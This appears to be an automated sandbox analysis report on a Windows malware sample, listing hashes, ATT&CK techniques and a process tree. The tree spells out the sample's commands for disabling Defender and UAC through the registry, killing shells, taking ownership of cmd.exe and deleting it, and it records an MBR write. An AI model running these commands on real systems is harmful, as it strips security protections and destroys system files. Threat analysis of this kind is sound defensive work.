33ee43ff148908e7ae11f8db62223a038cf53ced16171a3d9fc87a9e2dddb8ca

Analysis

user interaction
yes
max time kernel
73s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 17:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GRoupALEst5bariya.exe
Size 763KB
Sample260701-vx3wbsbs3k
SHA256 33ee43ff148908e7ae11f8db62223a038cf53ced16171a3d9fc87a9e2dddb8ca
MD5 3bbc8ef0ea4d376e3f78bde648ded685
SHA1 c597b97e8a2ca1c73e728d4bbd6d403c97374521
SHA512 279cd6db864ec1e4700bf305c705dd7cb1d2b38eb460657a54fae25baedecdeb7fd719ba0dd92e7a1d1f166a9991518303b7132820a2977d7c5b21375b6ed2c9
SSDEEP 12288:/+qnfIVf8+WUpLFqcusZpBsHBFzEASHFQFK50jUfEoVl:Rfg0+VMcs2j50jUfEoVl
TLSH
T159F4168336CA1CFADE932B3844DB533A6735FE708B6A8B674614D2311D135C1AE6BB50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery evasion exploit persistence trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3288	takeown.exe
4356	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3288	takeown.exe
4356	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	GRoupALEst5bariya.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
1124	taskkill.exe
2052	taskkill.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5552	GRoupALEst5bariya.exe
Token: SeIncBasePriorityPrivilege	5552	GRoupALEst5bariya.exe
Token: SeDebugPrivilege	1124	taskkill.exe
Token: SeDebugPrivilege	2052	taskkill.exe
Token: SeTakeOwnershipPrivilege	3288	takeown.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 5552 wrote to memory of 4832	5552	GRoupALEst5bariya.exe	88
PID 4832 wrote to memory of 1128	4832	cmd.exe	90
PID 5552 wrote to memory of 4504	5552	GRoupALEst5bariya.exe	91
PID 4504 wrote to memory of 2624	4504	cmd.exe	93
PID 5552 wrote to memory of 3488	5552	GRoupALEst5bariya.exe	94
PID 3488 wrote to memory of 5580	3488	cmd.exe	96
PID 5552 wrote to memory of 4432	5552	GRoupALEst5bariya.exe	97
PID 4432 wrote to memory of 1140	4432	cmd.exe	99
PID 5552 wrote to memory of 2876	5552	GRoupALEst5bariya.exe	100
PID 2876 wrote to memory of 1124	2876	cmd.exe	102
PID 5552 wrote to memory of 4740	5552	GRoupALEst5bariya.exe	104
PID 4740 wrote to memory of 2052	4740	cmd.exe	106
PID 5552 wrote to memory of 4048	5552	GRoupALEst5bariya.exe	107
PID 4048 wrote to memory of 3288	4048	cmd.exe	109
PID 5552 wrote to memory of 2688	5552	GRoupALEst5bariya.exe	110
PID 2688 wrote to memory of 4356	2688	cmd.exe	112
PID 5552 wrote to memory of 4756	5552	GRoupALEst5bariya.exe	113

C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:1128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
    3⤵
    PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3488
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:5580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im conhost.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im conhost.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\cmd.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\cmd.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\cmd.exe /grant administrators:F 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\cmd.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\cmd.exe 2>nul
  2⤵
  PID:4756